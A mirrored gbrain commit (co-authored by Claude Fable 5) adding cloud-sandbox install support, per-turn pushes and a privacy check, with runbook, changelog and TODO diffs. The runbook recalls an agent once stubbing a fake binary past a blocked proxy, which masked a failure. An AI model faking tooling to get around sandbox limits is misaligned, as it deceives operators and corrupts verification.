mirror of
https://github.com/garrytan/gbrain.git
synced 2026-08-14 00:48:18 +00:00
v0.45.9.0 feat(bootstrap): first-class cloud-sandbox install + per-turn persistence + fail-closed privacy ladder (#4045)
* feat(core): execution-environment detection — local | cloud-sandbox | ephemeral-container detectExecutionEnvironment() + isCredentialInjectingProxy() with injected signals (CLAUDE_CODE_REMOTE, cse_ session-id prefix, proxy-injected token placeholder, anthropic-egress proxy JWT, container markers). binaryOnPath moves here as the canonical PATH probe. autopilot's detectInstallTarget ephemeral branch now routes through the shared detector. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(bootstrap): repo-visibility ladder + per-turn Stop push + same-session failure banner The durability lane. One repo-visibility verdict for every consumer (REST first — never GraphQL, which sandbox proxies pin; authed ls-remote + an attributed anonymous probe as the git-protocol fallback), replacing three drifted probes. A 200 counts as public only with advertisement proof; a 401/404 counts as private-signal only with an auth challenge — fail-closed in BOTH directions. Private verdicts cache 1h (private-only, per origin). gbrain hook stop now spawns a debounced detached push per turn (per-root state; cloud-sandbox defaults to every turn, elsewhere 5 min; a failing status bypasses the debounce), closing the /exit and VM-reclaim gaps. Push status is per workspace root, read through one shared reader by the user-prompt banner (additionalContext + systemMessage — visible to the human, not just the model), the SessionStart note, and doctor. Escape hatches for self-hosted git: flag > env > file-plane config key. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(bootstrap): environment-aware install — honest cron skip, cloud repo-create guard, execution_env surfaces installDurabilityCron probes for crontab before writing anything (containers and cloud sandboxes ship without one — expected, reported as an honest skip naming the event-driven pushes that still cover persistence). The repo phase installs the container-friendly harden half (post-commit hook, no scheduler) outside local machines. createPrivateRepo fails fast in cloud sandboxes with the flow that works (create outside, open the session ON the repo, attach). bootstrap verify gains a never-gating execution_env check; bootstrap status --json carries execution_environment for installing agents to branch on. Also fixes a live-PATH resolution class: binaryOnPath and the crontab execs now pass the current env explicitly (Bun resolves against the startup snapshot otherwise). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(bootstrap): lifecycle hygiene — uninstall teardown, doctor job liveness, .mcp.json out of the repo, honest persistence copy uninstall now tears down the durability wiring it installed (launchd/cron job, untracked post-commit hook, credential wiring — the committed helper and AGENTS rules stay). doctor gains bootstrap_durability_job: presence + LIVENESS (launchctl load-state, crontab line, pull-log freshness) — a plist on disk with a dead job no longer reads as healthy. Rendered .gitignore now covers .mcp.json (absolute machine paths must not land in the private repo); verify warns on pre-fix installs that committed it; the never-built state/mcp.json promise is gone from GITHUB.md. Persistence copy tells the truth everywhere: event-driven pushes do the durability work, the 30-min job is a multi-machine pull freshener. Post-commit hook install/removal is worktree-safe (git-path resolution; the git marker is a FILE there) and the cron wrapper's self-disable tests the repo dir, not its git marker. Two follow-up TODOs filed (plugin hook distribution; Channels push lane). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(bootstrap): committed hook carrier for cloud + cloud-setup-script emitter + cloud runbook Cloud sessions clone fresh and snapshot hook config at session start — the gitignored settings.local.json never exists there, so hooks never fired in cloud at all. Cloud installs now write the repo-COMMITTED .claude/settings.json with PATH-resolved, fail-open commands (no machine paths; a host without the binary no-ops); local installs keep settings.local.json; the writers enforce that one event never fires from both carriers, and removal cleans both. New: gbrain bootstrap cloud-setup-script prints the paste-ready environment setup script (npm transport — bun fetching is proxy-incompatible in cloud; never the unrelated npm-registry package). Runbook gains a NEVER FABRICATE TOOLING hard rule, a cloud-sandbox section (expected degradations as facts to relay, the attach-first flow), and failure-table rows for the proxy-403 and missing-crontab signatures. Codex lane stated honestly: AGENTS.md Gate 2 now has the pull-side push-health check. Guide documents the new knobs and the cloud contract; llms bundles regenerated. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(bootstrap): per-turn push e2e chain, cloud-sandbox sim, per-root status reader migration + registry regen bootstrap-persistence e2e gains the Stop-hook chain (one stop banks the turn to the real bare remote; the debounce holds across stops; debounce-0 lands consecutive turns) and fixes a pre-existing post-#4024 break: repoPhaseComplete required a github-parseable origin, so session-end pushes deferred FOREVER for self-hosted/file-transport origins — non-github repo_urls now bind by exact URL equality (redirect protection preserved). Degraded-modes e2e gains the cloud-sandbox simulation (status reports the environment; repo creation refuses with the attach flow). workspace-push tests read per-root status through the shared reader. Flag registry regenerated (new git argv literals from the git-path/ls-files calls — the accepted argv-bleed class). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(doctor): categorize bootstrap_durability_job (categories drift guard) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(bootstrap): adversarial-review hardening — fail-closed privacy, no push-storm, no exfil paths Both Claude and Codex adversarial passes ran; 11 findings fixed (union): - Non-github 401+WWW-Authenticate no longer reads as private (RFC 7235 makes the header mandatory on every 401, so a middlebox 401s identically) — the top exfil path both models flagged; now unverifiable/fail-closed, operator confirms via the escape hatch. github.com still needs x-github-request-id. - Escape hatches downgrade ONLY 'unverifiable' — a PROVEN-public origin still refuses (hatches never authorize a public push). - treeNeedsPush measures against origin/<branch> (the push's own ref), not @{u}: a no-upstream branch no longer reports a committed-but-unpushed tree as push_clean and silently strands it. - [D20] failing-retry uses a fixed 60s floor, not min(debounce,60s) — cloud debounce=0 no longer re-runs the network ladder every turn. - Committed hook carrier: dedupe/suppress only on the EXACT portable-command shape, not a 'gbrain hook' substring (blocks the suppress-local-run-evil supply-chain vector); GBRAIN_HOME refused in the committed carrier. - push-status reason sanitized (charset+length) at every surface (banner, doctor, status blob) so remote git stderr can't inject via the remediation. - Per-root state: ghost-root records (deleted workspaces) filtered so a dead failing record can't re-fire the banner forever; uninstall removes them. - statusReport support blob reads push status through the shared per-root reader; visibility cache strips URL userinfo (no PAT persisted). - anonProbe strips userinfo + redirect:manual + SSRF flags + --end-of-options on ls-remote; cron self-disable uses git rev-parse (worktree-safe both ways); cloud-setup-script fails loud on a broken update; durability liveness won't certify a never-run crontab as live; config get/unset resolve the dotted file-plane keys; .bak/.broken gitignored; typed config fields. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * v0.45.8.0 feat(bootstrap): first-class cloud-sandbox install + per-turn persistence + fail-closed privacy ladder VERSION + package.json + CHANGELOG + TODOS + llms bundles. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs: sync KEY_FILES + README for the cloud-DX wave (v0.45.8.0) New KEY_FILES entries for execution-env.ts and repo-visibility.ts; updated the bootstrap repo/hooks, workspace-push, brain-repo-durability, and hook.ts entries to current behavior (ladder verification, committed cloud hook carrier, per-root push status, crontab probe + liveness, per-turn stop push + banner). README's Claude Code line now states per-turn + cloud persistence honestly. llms bundles regenerated. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(bootstrap): doc-review pass — attach records repo_url (enables cloud persistence), verify reads per-root push status, honest docs Cross-model doc review (Codex) caught that the headline cloud-persistence claim was hollow and two docs over-claimed: - attach now records repo_url from the adopted origin, so the no-daemon push gate (repoPhaseComplete) recognizes the repo phase as done — WITHOUT this, the per-turn/session-end pushes deferred forever after an attach, which is the ONLY install path in a cloud sandbox (repo is refused there). Privacy is still enforced at push time by the ladder. - bootstrap verify's push_probe reads the shared per-root reader [D8], not the legacy single file — a fresh v0.45.8 install no longer reports 'no push recorded' when per-root status exists. - Docs corrected to match code: runbook stamp → 0.45.8.0; README states the per-turn cadence honestly (debounced local, next-turn failure notice); GITHUB.md qualifies auto-push as Claude Code (Codex is pull); KEY_FILES says repo/status use REST (not the full ladder) and drops the stale --push; bootstrap.md hooks-location covers both carriers; README verbs surface says seven. llms bundles regenerated. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(bootstrap): regenerate vendored template-repo tree + isolate env-mutating tests (verify gate) The verify CI gate caught two things the piecemeal local runs missed: - templates/bootstrap/template-repo/ is a GENERATED tree; the source-template edits (AGENTS.md Gate 2, CLAUDE.md cloud note) plus the version stamp had drifted. Regenerated from source (check:bootstrap-templates green). - test/bootstrap-repo.test.ts + test/durability-cron.test.ts newly mutated process.env in non-serial files; converted to withEnv() (check:test-isolation green) — no .serial rename needed. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * test(ambient-recall): pin a keyless gateway so delta/context_pack writes never fire a real embed Root cause of the shard-2 CI red after the 0.45.9.0 re-bump: adding this wave's test files reshuffled the weight-packed shards, moving ambient-recall.test.ts next to a neighbor that leaks CI's dummy OPENAI_API_KEY (sk-test-*) into the gateway singleton (the bunfig preload configures with env:{...process.env}, and a present-but-invalid key turns remember's keyless-degrade embed into a hard 401). The delta/context_pack tests exercise cursor + budget logic, not embedding quality, so this pins a keyless gateway (env:{}) in beforeAll — isAvailable('embedding') is false, writeSingleFact degrades (degraded_dedup) with no HTTP call, and the file is deterministic regardless of shard bin-packing. Verified: passes with OPENAI_API_KEY=sk-test-* set (the CI condition). Master's own comment in legacy-embedding-preload.ts already warns 'adding any test file reshuffles the mines'; this makes the file immune. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Fable 5
parent
068f586128
commit
1ec6a6e842
+54
-4
@@ -1,4 +1,4 @@
|
||||
<!-- gbrain-runbook-stamp: 0.45.8.0 -->
|
||||
<!-- gbrain-runbook-stamp: 0.45.9.0 -->
|
||||
<!-- This stamp must equal the VERSION file at every release; CI enforces it
|
||||
(scripts/check-bootstrap-tag.sh). `gbrain bootstrap status` compares it to
|
||||
the installed binary and warns on skew. -->
|
||||
@@ -50,7 +50,17 @@ platform package manager first (`brew install gh`, `apt install gh`, `dnf instal
|
||||
`winget install GitHub.cli` per the official instructions); never a piped
|
||||
curl-to-shell one-liner. Install gbrain ONLY as
|
||||
`bun install -g github:garrytan/gbrain#latest-stable` — the npm package named
|
||||
"gbrain" is an unrelated project.
|
||||
"gbrain" is an unrelated project. (Cloud-sandbox exception: bun's package fetching
|
||||
is proxy-incompatible there — use the `gbrain bootstrap cloud-setup-script` recipe,
|
||||
which installs from the same pinned GitHub source through npm.)
|
||||
|
||||
⛔ **NEVER FABRICATE TOOLING.** If gh or any preflight binary is missing, blocked
|
||||
by a sandbox egress proxy, or answering 403s, report that through
|
||||
`status`/`doctor` output and follow the cloud-sandbox guidance below. Never
|
||||
hand-roll a gh shim, stub a fake binary into /usr/local/bin, or fake a passing
|
||||
check — a fabricated tool poisons every later verification, and the one time it
|
||||
was tried it masked a real silent-persistence failure. The CLI degrades honestly
|
||||
on its own; your job is to relay, not to bridge.
|
||||
|
||||
## Codex preflight (ChatGPT desktop / Codex CLI only)
|
||||
|
||||
@@ -121,8 +131,9 @@ you needed; report the count at the end (it feeds the install-time measurement).
|
||||
instead of creating one — verifies it is private and pushes the workspace. A
|
||||
non-empty repo, or one owned by an org, is refused with a clear message (make an
|
||||
empty personal repo, or run `gbrain bootstrap attach` for an existing agent
|
||||
clone). Asks the background-persistence consent (15-minute scan-gated push job;
|
||||
declining still persists at session end). If the human has no GitHub or declines:
|
||||
clone). Asks the background-persistence consent (a git post-commit auto-push
|
||||
plus a 30-minute pull job for multi-machine freshness; declining still persists
|
||||
via the per-turn and session-end pushes). If the human has no GitHub or declines:
|
||||
local-only mode with an honest warning; `bootstrap repo` can run any time later.
|
||||
Note: the per-turn/session push stays deferred until this phase records the
|
||||
verified repo, so nothing is ever pushed to an unverified-privacy origin.
|
||||
@@ -139,6 +150,42 @@ initialized), run `gbrain bootstrap attach` instead of the interview/render/repo
|
||||
phases — it wires this machine (source, hooks, MCP) and verifies. If agent.json
|
||||
says it is an uninitialized template, proceed with the normal flow from phase 1.
|
||||
|
||||
## Cloud sandboxes (claude.ai/code and similar proxied environments)
|
||||
|
||||
**How you know:** `gbrain bootstrap status --json` reports
|
||||
`execution_environment: "cloud-sandbox"` (the CLI detects the documented
|
||||
signals — the CLAUDE_CODE_REMOTE env var, the proxy-injected token
|
||||
placeholder). Trust the CLI's detection over your own guesses.
|
||||
|
||||
**Expected degradations — these are facts to relay, not bugs to bridge:**
|
||||
|
||||
- **No crontab, no surviving background processes.** The VM is reclaimed after
|
||||
inactivity. The scheduled pull is skipped honestly; the per-turn (Stop hook)
|
||||
and session-end pushes carry persistence. Decline nothing, fabricate nothing.
|
||||
- **GitHub GraphQL is always blocked** by the egress proxy, and **REST reaches
|
||||
only repos attached to the session** — a repo created mid-session is NOT
|
||||
attached, so `gbrain bootstrap repo` refuses fast in cloud with the flow
|
||||
that works. Privacy verification falls back to pure git protocol on its own.
|
||||
- **`git push` works only against the session's working branch.** A user PAT
|
||||
does not bypass any of this.
|
||||
- **Only repo-committed files carry into the next session.** `~/.gbrain`,
|
||||
`~/.claude`, and the gitignored `.claude/settings.local.json` evaporate.
|
||||
Hooks therefore live in the COMMITTED `.claude/settings.json` (the CLI
|
||||
writes PATH-resolved, fail-open commands there in cloud); hook config is
|
||||
snapshotted at session start, so hooks written mid-session activate on the
|
||||
NEXT session — say so instead of debugging it.
|
||||
|
||||
**The correct cloud flow:**
|
||||
|
||||
1. The human creates the private repo from a normal machine (or github.com)
|
||||
and opens the cloud session ON that repo.
|
||||
2. The environment's setup script installs the gbrain binary — print it with
|
||||
`gbrain bootstrap cloud-setup-script` and have the human paste it into the
|
||||
environment config (npm-based; bun's fetching is proxy-incompatible there).
|
||||
3. Inside the session: `gbrain bootstrap attach`, then
|
||||
`gbrain bootstrap hooks --harness claude-code` (writes the committed
|
||||
carrier), commit + push, and tell the human the hooks go live next session.
|
||||
|
||||
## Failure modes, and what they actually mean
|
||||
|
||||
| Symptom | Real cause | Fix |
|
||||
@@ -150,6 +197,9 @@ says it is an uninitialized template, proceed with the normal flow from phase 1.
|
||||
| "bootstrap already running (pid N)" | A concurrent bootstrap holds the lock | Wait or investigate that pid; the lock self-clears when stale. |
|
||||
| Brain tools fail with a lock error | Another live session's serve owns the database | Close the other session; sequential use is the v1 contract. |
|
||||
| Hook reports "brain context unavailable" | serve not running or degraded | `gbrain doctor` names it; hooks fail open by design. |
|
||||
| gh answers 403 "not enabled for this session" | Cloud proxy scoping — the repo is not attached to the session | Expected in cloud; the visibility ladder falls back to git protocol. NEVER shim gh. |
|
||||
| "crontab: command not found" / cron skipped | Containers and cloud sandboxes ship without a scheduler | Expected; event-driven pushes cover it — the skip message says exactly this. |
|
||||
| A turn shows "workspace push is FAILING" | The background push is refusing (visibility, secret-scan, or network reasons) | Run `gbrain doctor`; the banner repeats every 30 min until fixed. |
|
||||
|
||||
## Hand off
|
||||
|
||||
|
||||
+26
-6
@@ -2,6 +2,32 @@
|
||||
|
||||
All notable changes to GBrain will be documented in this file.
|
||||
|
||||
## [0.45.9.0] - 2026-08-12
|
||||
|
||||
**Your agent's memory keeps saving itself — even in a cloud sandbox, even on `/exit`, and it tells you the moment it can't.** The paste-in personal-agent install now works first-class in Claude Code's cloud environment, not just on a laptop. The persistence lane got three fixes that matter whether you're local or in the cloud: the workspace push now verifies repo privacy through a portable ladder that keeps working when the sandbox blocks the GitHub API, it runs after every turn (not only at session end, which the harness never fires on `/exit`), and a failed push surfaces on your next turn instead of failing in silence. Setup adapts to where it runs — no more scheduled-job errors on hosts without a scheduler, and no half-created repos in an environment that can't push them.
|
||||
|
||||
To take advantage of v0.45.9.0: upgrade and re-run `gbrain bootstrap verify` on each machine — it re-attests the install and now reports the execution environment and any push-health or hygiene issue with the exact one-line fix. Existing installs pick up the per-turn push and the new verification automatically on the binary update; no re-render needed. If you run in a cloud sandbox, `gbrain bootstrap cloud-setup-script` prints the environment setup recipe, and `gbrain bootstrap status --json` now tells you which environment you're in.
|
||||
|
||||
### Added
|
||||
- **Execution-environment detection** — `local`, `cloud-sandbox`, or `ephemeral-container`. Bootstrap, the doctor, and the runbook branch on it so each environment gets honest behavior and honest messages. `gbrain bootstrap status --json` and `gbrain bootstrap verify` both report it.
|
||||
- **Per-turn workspace persistence.** A debounced, detached push runs after each assistant turn (default every 5 minutes locally, every turn in a reclaimed-VM cloud sandbox), closing the gap where a session that ends on `/exit` — which never fires the session-end hook — could strand committed work. Off-ramp: `GBRAIN_STOP_PUSH=0`; cadence: `GBRAIN_STOP_PUSH_DEBOUNCE_MIN` or `gbrain config set hooks.stop_push_debounce_min <n>`.
|
||||
- **Same-session push-failure notice.** When a background push is refused or fails, the next turn surfaces it both to the agent and to you directly (not buried where only the model sees it), re-announced at most every 30 minutes until it clears. `gbrain doctor` and `gbrain bootstrap status` name the failing workspace and the fix.
|
||||
- **`gbrain bootstrap cloud-setup-script`** — prints the ready-to-paste cloud environment setup script that installs the gbrain binary into the environment's cached filesystem so it survives across sessions.
|
||||
- **`bootstrap_durability_job` doctor check** — presence *and* liveness of the optional background-persistence job, so a job that exists on disk but no longer runs is reported instead of certified healthy.
|
||||
|
||||
### Changed
|
||||
- **Repo-privacy verification is now a portable ladder** (`src/core/repo-visibility.ts`), replacing three separate probes with one: it checks via the GitHub REST API first, then falls back to pure git protocol so verification keeps working where a sandbox proxy blocks the API. It fails closed in both directions — an origin that can't be proven private is refused, and a proven-public origin is always refused. Fresh private verdicts are cached briefly to keep the per-turn push cheap. Escape hatch for self-hosted git you trust (each use warns): `--allow-unverified-remote`, `GBRAIN_ALLOW_UNVERIFIED_REMOTE=1`, or `gbrain config set push.allow_unverified_remote true`; the escape hatch only relaxes an *unverifiable* verdict, never a proven-public one.
|
||||
- **Cloud sandboxes get a committed hook carrier.** Because a cloud session starts from a fresh clone and never sees the machine-local settings file, cloud installs write hooks into the repo-committed `.claude/settings.json` with a PATH-resolved, fail-open command; local installs keep the gitignored settings file, and the writers guarantee one event never fires from both.
|
||||
- **Background-persistence copy tells the truth.** The optional job is a git post-commit auto-push plus a 30-minute freshness pull; the interview, docs, and templates now describe exactly that. On a host without a scheduler the pull is skipped with an honest note rather than a failed-install warning.
|
||||
- The installing-agent runbook gains a hard rule against fabricating tooling (no hand-rolled `gh` shims), a cloud-sandbox section, and the honest degradation matrix for a proxied environment.
|
||||
|
||||
### Fixed
|
||||
- `gbrain bootstrap uninstall` now tears down the background-persistence wiring it installed (scheduled job, the untracked auto-push hook, credential wiring) instead of leaving it behind; the committed helper and agent-rules stay, since those are your repo's content.
|
||||
- Machine-specific harness wiring (`.mcp.json`, hook-settings backups) is gitignored so it can't be committed into the private brain repo; `gbrain bootstrap verify` warns and gives the one-line fix for installs that already committed it.
|
||||
- Repo creation is refused inside a cloud sandbox with the flow that actually works (create the repo elsewhere, open the session on it, `gbrain bootstrap attach`) instead of leaving a half-created, unpushable repo.
|
||||
- Push-status is tracked per workspace, so with more than one brain workspace on a machine, one workspace's success can no longer mask another's failed pushes.
|
||||
- Hardening pass (both an in-house and a cross-model adversarial review): the privacy ladder never treats an ambiguous authentication challenge as proof a repo is private, the per-turn retry can't turn into an every-turn network storm, remote-supplied text is sanitized before it reaches any agent- or user-visible surface, and stale state from a deleted workspace no longer re-fires notices forever.
|
||||
|
||||
## [0.45.8.0] - 2026-08-12
|
||||
|
||||
**25 community bug fixes in one wave. Your MCP server, sync, and doctor all get more careful.**
|
||||
@@ -16873,8 +16899,6 @@ If anything looks off, file at https://github.com/garrytan/gbrain/issues
|
||||
with `gbrain doctor` output.
|
||||
|
||||
|
||||
|
||||
|
||||
## [0.28.11] - 2026-05-07
|
||||
|
||||
**Mix providers: OpenAI for text, Voyage for images. One brain, two embedding pipelines.**
|
||||
@@ -18840,9 +18864,6 @@ React admin dashboard baked into the binary. Seven screens designed through Stev
|
||||
- `test/oauth.test.ts` ... 34 test cases covering provider: register, getClient, client_credentials exchange, auth_code flow with PKCE, refresh rotation, verifyAccessToken (OAuth + legacy fallback), revokeToken, sweepExpiredTokens, scope annotations on all 30 operations. Plus the post-/cso security-fix regressions: 10-concurrent auth code exchange (only 1 wins), 10-concurrent refresh rotation (only 1 wins), redirect_uri HTTPS-or-loopback gate, and pgArray comma-element round-trip (1 element in → 1 element out).
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## [0.25.1] - 2026-05-01
|
||||
|
||||
## **Your brain can now read books with you. Nine new skills land at once.**
|
||||
@@ -20092,7 +20113,6 @@ Then point Claude Desktop, claude.ai/code, or any MCP client at `http://your-tun
|
||||
If anything breaks: `gbrain doctor`, `~/.gbrain/upgrade-errors.jsonl` (if present), and please file an issue at https://github.com/garrytan/gbrain/issues with both.
|
||||
|
||||
|
||||
|
||||
## [0.22.6.1] - 2026-04-26
|
||||
|
||||
**Old brains can upgrade again.**
|
||||
|
||||
@@ -107,7 +107,7 @@ answers. Ask before anything destructive. You are not done until
|
||||
`gbrain bootstrap verify` exits 0.
|
||||
```
|
||||
|
||||
Everything from the Codex path applies — interview, identity from your own answers, local brain, private repo, keyless mode — plus Claude Code gets **per-turn context hooks** (consent-gated): your brain loads automatically into every prompt, and each session persists itself to your private repo at exit. Restart the session after install and ask "what did I tell you my top jobs were?" — that's the moment it clicks. Full contract, security posture, and uninstall: [docs/guides/bootstrap.md](docs/guides/bootstrap.md).
|
||||
Everything from the Codex path applies — interview, identity from your own answers, local brain, private repo, keyless mode — plus Claude Code gets **per-turn context hooks**: your brain loads automatically into every prompt, and your work persists to your private repo on a per-turn cadence (debounced ~5 min locally, every turn in a cloud sandbox — this covers the `/exit` case the harness never fires a session-end hook on), with a notice on your next turn if a push ever fails. This works in a **Claude Code cloud session** too, not just on your laptop: verification falls back to pure git protocol when the sandbox blocks the GitHub API, and `gbrain bootstrap cloud-setup-script` prints the environment setup recipe. Restart the session after install and ask "what did I tell you my top jobs were?" — that's the moment it clicks. Full contract, security posture, cloud sandboxes, and uninstall: [docs/guides/bootstrap.md](docs/guides/bootstrap.md).
|
||||
|
||||
> **Prefer to make the repo yourself?** Create a new **empty** private repo **under your own GitHub account** (no README/.gitignore/license), clone it, open the clone in Claude Code (CLI or the desktop app's open-a-repo flow), and paste the same block — bootstrap adopts your empty repo instead of creating one. The repo must be empty and personal-account-owned; org-owned repos are refused.
|
||||
|
||||
@@ -131,7 +131,7 @@ The agent installs GBrain, creates the brain, asks for your API keys, loads the
|
||||
|
||||
### Lighter ways in
|
||||
|
||||
**Just want a memory for your coding agent — no identity, no repo.** Spin up a local brain and connect it in two commands — zero server, zero token, zero tunnel. `--surface verbs` gives your agent the five-verb memory protocol (`recall`, `remember`, `entity`, `synthesize`, `forget` — [MEMORY_VERBS v1](docs/protocol/MEMORY_VERBS_v1.md), frozen + additive-forever) instead of the full tool wall; drop the flag for every operation:
|
||||
**Just want a memory for your coding agent — no identity, no repo.** Spin up a local brain and connect it in two commands — zero server, zero token, zero tunnel. `--surface verbs` gives your agent the seven-verb memory protocol (`recall`, `remember`, `entity`, `synthesize`, `forget`, plus `context_pack` + `delta` since v0.45.7 — [MEMORY_VERBS v1](docs/protocol/MEMORY_VERBS_v1.md), frozen + additive-forever) instead of the full tool wall; drop the flag for every operation:
|
||||
|
||||
```bash
|
||||
gbrain init --pglite # 2-second local brain (no Docker)
|
||||
|
||||
@@ -5126,6 +5126,48 @@ respective shapes. Small, mechanical; pinned by `test/init-embed-check.test.ts`
|
||||
|
||||
## Agent-bootstrap wave follow-ups (filed at build time)
|
||||
|
||||
- [ ] **P2 — repoPhaseComplete is single-workspace (one global receipt).** The
|
||||
no-daemon push gate binds to the one `receipt.repo_url`, so with two bootstrap
|
||||
workspaces sharing a gbrain home, workspace B's `bootstrap repo` overwrites the
|
||||
receipt and permanently leaves A's per-turn/session-end pushes at
|
||||
`push_deferred_repo_pending`. Fails CLOSED (defers, never mis-pushes) and
|
||||
matches the v1 single-workspace contract, but the per-turn push made it more
|
||||
visible. Fix = per-root repo binding (a receipt map or a per-root marker).
|
||||
Surfaced by both v0.45.9.0 adversarial reviewers.
|
||||
- [ ] **P2 — visibility ladder subprocess/body bounds.** `runWithTimeout`
|
||||
(`src/core/repo-visibility.ts`) races the `gh`/`git` probe against a timer but
|
||||
doesn't kill the raced child, and the anon-probe `res.text()` buffers the whole
|
||||
(operator-configured-origin) body before slicing. Bounded in practice by the
|
||||
detached push child's lifetime, but a proper fix kills the raced process and
|
||||
caps the body read. Filed from the v0.45.9.0 Codex adversarial pass.
|
||||
- [ ] **P3 — `config set` for the file-plane hook-lane keys is engine-bound.**
|
||||
`runConfig` dispatches through the engine path, so `gbrain config set
|
||||
push.allow_unverified_remote true` can fail while a live PGLite serve holds the
|
||||
writer lock — the documented recovery command, unavailable exactly when needed.
|
||||
The env-var form (`GBRAIN_ALLOW_UNVERIFIED_REMOTE=1`) is the cloud path and needs
|
||||
no engine, so this is convenience-only; fix = route these two keys through the
|
||||
no-engine CLI dispatch. Filed from the v0.45.9.0 Codex adversarial pass.
|
||||
|
||||
|
||||
- [ ] **P3 — plugin-based hook distribution for Claude Code.** Ship gbrain's
|
||||
hooks as a Claude Code plugin (`hooks/hooks.json` + `.claude-plugin/plugin.json`
|
||||
manifest, installed via the plugin marketplace flow) instead of two settings
|
||||
files. Plugins merge hooks first-class across scopes and update centrally —
|
||||
it would REPLACE both current carriers (repo-committed `.claude/settings.json`
|
||||
for cloud installs + gitignored `settings.local.json` for local), so it must
|
||||
migrate, not join; a third simultaneous carrier would double-fire events.
|
||||
Cons: needs marketplace repo hosting; enterprise `allowManagedHooksOnly`
|
||||
policies can block plugin hooks entirely. Start at
|
||||
`src/core/bootstrap/hooks.ts` (both writers + the dedupe rule live there).
|
||||
Filed from the cloud-DX eng review (v0.46.x wave).
|
||||
- [ ] **P3 — watch Claude Code Channels as the push path for
|
||||
volunteer_context/signals.** Channels (research preview) push external events
|
||||
into a LIVE session — the native version of gbrain's push-context lane
|
||||
(`docs/guides/push-context.md`). Not actionable today: delivery requires an
|
||||
always-on session plus an Anthropic-allowlisted channel plugin. Revisit when
|
||||
channel-plugin distribution opens; the win is replacing per-turn pull with
|
||||
event push for signals/reflex windows. Filed from the cloud-DX eng review.
|
||||
|
||||
- [ ] **P1 — enforce op scope/localOnly on the stdio MCP dispatch when no auth
|
||||
context is present, and consider a narrower default surface for pull-mode
|
||||
harness registrations.** HTTP dispatch enforces `scope`/`localOnly` before
|
||||
|
||||
@@ -62,7 +62,7 @@ per-release `**vX.Y.Z:**` narration — CI enforces this
|
||||
- `src/core/source-health.ts` — per-source health metrics for `gbrain sources status` + doctor's `federation_health`. Commit-relative staleness: `newestCommitMs(localPath)` = HEAD committer time via `git log -1 --format=%ct` (fail-open null; NO working-tree mtime parsing — committed content only, robust against the porcelain-mtime bug farm); `lagFromContentMs(contentMs|null, lastSyncMs|null, nowMs, ceilingSeconds?)` = remote/column comparator (null lastSync → null; negative wall-clock → skew passthrough; `contentMs <= lastSync` → **`max(0, wallClock - ceiling)`**; else/null-content → wall-clock). Core logic is pure; only the DEFAULT `ceilingSeconds` reads env, via `resolveStalenessCeilingSeconds()` (`GBRAIN_STALENESS_CEILING_HOURS` overriding `GBRAIN_SYNC_FRESHNESS_FAIL_HOURS`, default 72) — pass the 4th arg for determinism. The caught-up branch RAMPS rather than returning a flat 0: a flat 0 meant a source whose clone vanished reported fresh forever (the dead-daemon class), while a hard step to the ceiling would trip `federation_health` (24h) and `sync_freshness` (24h/72h) in the same instant and skip the warn tier — the alert-storm shape the caught-up branch exists to prevent. Ramping keeps the escalation ordered. `computeAllSourceMetrics(engine, sources, {probeContent?})`: LOCAL (`probeContent:true`, `gbrain sources status`) → `isSourceUnchangedSinceSync(..., {requireCleanWorkingTree:'ignore-untracked'}) ? 0 : wall-clock` (live commit-hash catches HEAD moving to an old-dated commit a timestamp compare would miss); REMOTE (default, `federation_health` on the HTTP MCP path) → `lagFromContentMs(row.newest_content_at, ...)`, NO git subprocess (trust boundary). `commitTimeMs(localPath, sha)` is the `newestCommitMs` sibling pinned to an arbitrary commit (committer time via `git show -s --format=%ct <sha>`, fail-open null, execFileSync array args) — the resumable sync stamps `newest_content_at` against its pinned target commit, not whatever HEAD raced to. Pinned by `test/source-health.test.ts`.
|
||||
- `src/core/npm-squat-check.ts` — classifies `gbrain` PATH entries as real, foreign npm package, broken, or unknown for doctor's `npm_squat` check. On Windows it normalizes Git Bash/MSYS drive paths (`/c/...` → `C:/...`) and tries the native `.exe` suffix before reporting a broken entry; non-Windows classification keeps the original single-candidate behavior. Pinned by `test/npm-squat-check.test.ts`.
|
||||
- `src/core/git-remote.ts` — SSRF-hardened git invocations for remote-source `cloneRepo`, `pullRepo`, and `fetchRemote(repoPath, branch)` (the last added for the sync cost-estimator's fetch-first path, #2139, so a cost preview / dry-run fetches through the same hardened flags + `GIT_TERMINAL_PROMPT=0` as real sync rather than a less-protected route). Exports two distinct flag constants because `git`'s argv grammar treats them differently: `GIT_SSRF_FLAGS` (3 `-c` config flags — `protocol.allow=user`, `protocol.file.allow=never`, `http.allowRedirects=false`) is global config, spread BEFORE the subcommand verb; `GIT_SSRF_SUBCOMMAND_FLAGS = ['--no-recurse-submodules']` is subcommand-scoped, spread AFTER the verb (a combined array would spread `--no-recurse-submodules` before the verb where real git rejects it exit 129). `cloneRepo` argv: `git <GIT_SSRF_FLAGS> clone <GIT_SSRF_SUBCOMMAND_FLAGS> --depth=1 [--branch X] -- <url> <dir>`. `pullRepo` argv: `git <GIT_SSRF_FLAGS> -C <dir> pull <GIT_SSRF_SUBCOMMAND_FLAGS> --ff-only`. Pinned by `test/git-remote.test.ts` position-anchored regression guard (`argv.indexOf('--no-recurse-submodules') > argv.indexOf(verb)`). Also exports the durability-side helpers that power `gbrain sources harden/pull`: `GIT_ENV_AUTH` (the no-prompt env minus the askpass `/bin/false` overrides, so an auth'd push/fetch can consult the repo's configured credential helper while `GIT_TERMINAL_PROMPT=0` still fails fast on a missing credential), `divergenceSafePull(repoPath, branch)` (fetch + `pull --rebase`; returns `skipped_dirty` on a dirty tree, `conflict_aborted` on a rebase conflict after `rebase --abort` so the tree is never left mid-rebase, else 